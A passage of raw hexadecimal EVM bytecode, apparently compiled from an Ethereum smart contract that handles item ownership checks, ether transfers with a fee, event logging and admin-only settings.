192505050600060405180830381600087803b15801561097a57600080fd5b505af115801561098e573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663eda8669e87600187036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018260ff1660ff16815260200192505050600060405180830381600087803b158015610a3457600080fd5b505af1158015610a48573d6000803e3d6000fd5b505050507fe5520077d3d24ee27b5f26122d839e7bbdbecefcac227087f3728a4ed11e078c3287604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b600260149054906101000a900460ff1681565b6000801515600260149054906101000a900460ff161515141515610af557600080fd5b60011515600260159054906101000a900460ff161515148015610c13575060001515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166363f44d1e326040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610bd457600080fd5b505af1158015610be8573d6000803e3d6000fd5b505050506040513d6020811015610bfe57600080fd5b81019080805190602001909291905050501515145b1515610c1e57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b766b5623260016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018215151515815260200192505050600060405180830381600087803b158015610ce857600080fd5b505af1158015610cfc573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aa17973c6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610d8657600080fd5b505af1158015610d9a573d6000803e3d6000fd5b505050506040513d6020811015610db057600080fd5b810190808051906020019092919050505090507fda0adaa8dfeb4052820b529451b61cfe96665f75b1ee637b7329007b702500553282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150565b6000806000801515600260149054906101000a900460ff161515141515610e5757600080fd5b8484808214151515610e6857600080fd5b856001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015610eff57600080fd5b505af1158015610f13573d6000803e3d6000fd5b505050506040513d6020811015610f2957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141515141515610f7657600080fd5b8860016000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561100d57600080fd5b505af1158015611021573d6000803e3d6000fd5b505050506040513d61014081101561103857600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250905050809150508115156000826fffffffffffffffffffffffffffffffff1611151514151561110257600080fd5b8a6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561119757600080fd5b505af11580156111ab573d6000803e3d6000fd5b505050506040513d6101408110156111c257600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080915050428163ffffffff161115151561127c57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f8f6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561130d57600080fd5b505af1158015611321573d6000803e3d6000fd5b505050506040513d602081101561133757600080fd5b81019080805190602001909291905050509b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e8f6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b1580156113dc57600080fd5b505af11580156113f0573d6000803e3d6000fd5b505050506040513d61014081101561140757600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250905050809b505034600360009054906101000a90046fffffffffffffffffffffffffffffffff168c016fffffffffffffffffffffffffffffffff161415156114ea57600080fd5b8b73ffffffffffffffffffffffffffffffffffffffff166108fc8c6fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f19350505050158015611542573d6000803e3d6000fd5b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600360009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f193505050501580156115da573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a94857dc8f8f6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b15801561167457600080fd5b505af1158015611688573d6000803e3d6000fd5b505050506040513d602081101561169e57600080fd5b810190808051906020019092919050505099507f766f150b7c725aaec5aa24efd3fb6e1809dbed9d3f18121b896df8660e1491a1328b8e8e604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001826fffffffffffffffffffffffffffffffff16815260200194505050505060405180910390a15050505050505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561180057600080fd5b505af1158015611814573d6000803e3d6000fd5b505050506040513d602081101561182a57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061195f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156118f557600080fd5b505af1158015611909573d6000803e3d6000fd5b505050506040513d602081101561191f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80611a555750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156119eb57600080fd5b505af11580156119ff573d6000803e3d6000fd5b505050506040513d6020811015611a1557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611a6057600080fd5b80600360006101000a8154816fffffffffffffffffffffffffffffffff02191690836fffffffffffffffffffffffffffffffff16021790555050565b60001515600260149054906101000a900460ff161515141515611abe57600080fd5b816001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015611b5557600080fd5b505af1158015611b69573d6000803e3d6000fd5b505050506040513d6020811015611b7f57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141515141515611bcc57600080fd5b83600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015611c6257600080fd5b505af1158015611c76573d6000803e3d6000fd5b505050506040513d610140811015611c8d57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250905050809150508115156000826fffffffffffffffffffffffffffffffff16111515141515611d5757600080fd5b866000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015611dec57600080fd5b505af1158015611e00573d6000803e3d6000fd5b505050506040513d610140811015611e1757600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080915050428163ffffffff1611151515611ed157600080fd5b6000886fffffffffffffffffffffffffffffffff16111515611ef257600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f630a4688a8a6040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015611faf57600080fd5b505af1158015611fc3573d6000803e3d6000fd5b505050507fc5805a8a7bae10c57af842e8a49367d39281e79cb06384ec68082ffa3b3c019d328a604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050505050565b6000801515600260149054906101000a900460ff16151514151561206057600080fd5b828280821415151561207157600080fd5b846001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561210857600080fd5b505af115801561211c573d6000803e3d6000fd5b505050506040513d602081101561213257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614151514151561217f57600080fd5b856001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561221657600080fd5b505af115801561222a573d6000803e3d6000fd5b505050506040513d602081101561224057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614151514151561228d57600080fd5b886000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561232257600080fd5b505af1158015612336573d6000803e3d6000fd5b505050506040513d61014081101561234d57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080915050428163ffffffff161115151561240757600080fd5b896000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e836040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561249c57600080fd5b505af11580156124b0573d6000803e3d6000fd5b505050506040513d6101408110156124c757600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150905080915050428163ffffffff161115151561258157600080fd5b34600360009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff161415156125bf57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc600360009054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f19350505050158015612656573d6000803e3d6000fd5b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a94857dc8e8e6040518363ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018083815260200182815260200192505050602060405180830381600087803b1580156126f057600080fd5b505af1158015612704573d6000803e3d6000fd5b505050506040513d602081101561271a57600080fd5b81019080805190602001909291905050509a507fdb3af7d2d2fe2463b2e0f05ad9c9fec05c5aa2fbc2157b624bbf9d9cf077b288328c604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561282d57600080fd5b505af1158015612841573d6000803e3d6000fd5b505050506040513d602081101561285757600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128a157600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b60001515600260149054906101000a900460ff1615151415156128dc57600080fd5b816001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561297357600080fd5b505af1158015612987573d6000803e3d6000fd5b505050506040513d602081101561299d57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff161415151415156129ea57600080fd5b83600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015612a8057600080fd5b505af1158015612a94573d6000803e3d6000fd5b505050506040513d610140811015612aab57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929394959697985090919293949596975090919293949596509091929394955090919293945090919293509091925090915050809150508115156000826fffffffffffffffffffffffffffffffff16111515141515612b7657600080fd5b6000866fffffffffffffffffffffffffffffffff16111515612b9757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634135459088886040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015612c5457600080fd5b505af1158015612c68573d6000803e3d6000fd5b505050507fdb2698bc0ae2654fcbe619b2dac7a87ed481b08369b9211683197dbaaf132e473288604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050505050565b600260159054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612d7957600080fd5b505af1158015612d8d573d6000803e3d6000fd5b505050506040513d6020811015612da357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612ed85750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612e6e57600080fd5b505af1158015612e82573d6000803e3d6000fd5b505050506040513d6020811015612e9857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80612fce5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015612f6457600080fd5b505af1158015612f78573d6000803e3d6000fd5b505050506040513d6020811015612f8e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612fd957600080fd5b80600360106101000a81548160ff021916908360ff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360109054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156130db57600080fd5b505af11580156130ef573d6000803e3d6000fd5b505050506040513d602081101561310557600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061323a5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156131d057600080fd5b505af11580156131e4573d6000803e3d6000fd5b505050506040513d60208110156131fa57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806133305750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1580156132c657600080fd5b505af11580156132da573d6000803e3d6000fd5b505050506040513d60208110156132f057600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561333b57600080fd5b80600490600461334c929190615046565b5050565b60001515600260149054906101000a900460ff16151514151561337257600080fd5b806001801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561340957600080fd5b505af115801561341d573d6000803e3d6000fd5b505050506040513d602081101561343357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614151514151561348057600080fd5b8260016000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561351757600080fd5b505af115801561352b573d6000803e3d6000fd5b505050506040513d61014081101561354257600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929394959697985090919293949596975090919293949596509091929394955090919293945090919293509091925090915050809150508115156000826fffffffffffffffffffffffffffffffff1611151514151561360d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663413545908760006040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1580156136b957600080fd5b505af11580156136cd573d6000803e3d6000fd5b505050507fc09c64c36775ff55cedf8560992a57cf8542467f64d971469bc5e0dc05742f503287604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561379f57600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561386957600080fd5b505af115801561387d573d6000803e3d6000fd5b505050506040513d602081101561389357600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806139c85750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561395e57600080fd5b505af1158015613972573d6000803e3d6000fd5b505050506040513d602081101561398857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80613abe5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015613a5457600080fd5b505af1158015613a68573d6000803e3d6000fd5b505050506040513d6020811015613a7e57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613ac957600080fd5b80600260156101000a81548160ff02191690831515021790555050565b600481600481101515613af557fe5b60209182820401919006915054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e1b27e6b6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015613b9557600080fd5b505af1158015613ba9573d6000803e3d6000fd5b505050506040513d6020811015613bbf57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480613cf45750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166330d500bf6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015613c8a57600080fd5b505af1158015613c9e573d6000803e3d6000fd5b505050506040513d6020811015613cb457600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80613dea5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633d01bdec6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015613d8057600080fd5b505af1158015613d94573d6000803e3d6000fd5b505050506040513d6020811015613daa57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515613df557600080fd5b80600260146101000a81548160ff02191690831515021790555050565b6000806000801515600260149054906101000a900460ff161515141515613e3857600080fd5b836000801515600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f846040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b158015613ecf57600080fd5b505af1158015613ee3573d6000803e3d6000fd5b505050506040513d6020811015613ef957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff16141515141515613f4657600080fd5b8560016000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e846040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b158015613fdd57600080fd5b505af1158015613ff1573d6000803e3d6000fd5b505050506040513d61014081101561400857600080fd5b81019080805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291905050509091929394959697985090919293949596975090919293949596509091929394955090919293945090919293509091925090915050809150508115156000826fffffffffffffffffffffffffffffffff161115151415156140d357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b92292f8a6040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561416457600080fd5b505af1158015614178573d6000803e3d6000fd5b505050506040513d602081101561418e57600080fd5b81019080805190602001909291905050509750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f315a94e8a6040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082815260200191505061014060405180830381600087803b15801561423357600080fd5b505af1158015614247573d6000803e3d6000fd5b505050506040513d61014081101561425e57600080fd5b810190808051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919080519060200190929190805190602001909291908051906020019092919050505090919293949596979850909192939495969750909192939495965090919293949550909192939450909192935090919250909150508097505034876fffffffffffffffffffffffffffffffff1614151561432257600080fd5b6000600360109054906101000a900460ff1660ff1611156143f257600360109054906101000a900460ff1660ff166064886fffffffffffffffffffffffffffffffff1681151561436e57fe5b0402955085870396506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc876fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f193505050501580156143f0573d6000803e3d6000fd5b505b8773ffffffffffffffffffffffffffffffffffffffff166108fc886fffffffffffffffffffffffffffffffff169081150290604051600060405180830381858888f1935050505015801561444a573d6000803e3d6000fd5b50600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663413545908a60006040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1580156144f757600080fd5b505af115801561450b573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f630a4688a60006040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180838152602001826fffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b1580156145bb57600080fd5b505af11580156145cf573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cf91bf23260018060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663efbd63a9326040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156146d057600080fd5b505af11580156146e4573d6000803e3d6000fd5b505050506040513d60208110156146fa57600080fd5b8101908080519060200190929190505050016040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561479157600080fd5b505af11580156147a5573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cf91bf28960018060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663efbd63a98d6040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156148a657600080fd5b505af11580156148ba573d6000803e3d6000fd5b505050506040513d60208110156148d057600080fd5b8101908080519060200190929190505050036040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561496757600080fd5b505af115801561497b573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166335d1f8698a326040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015614a4457600080fd5b505af1158015614a58573d6000803e3d6000fd5b50505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166311faf6aa89328c6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015614b5557600080fd5b505af1158015614b69573d6000803e3d6000fd5b505050507f4ae2dfacbc099a4028850d9f0642800230074c6a182fbb3e5303a0ca6506e4aa328a8a8a604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff167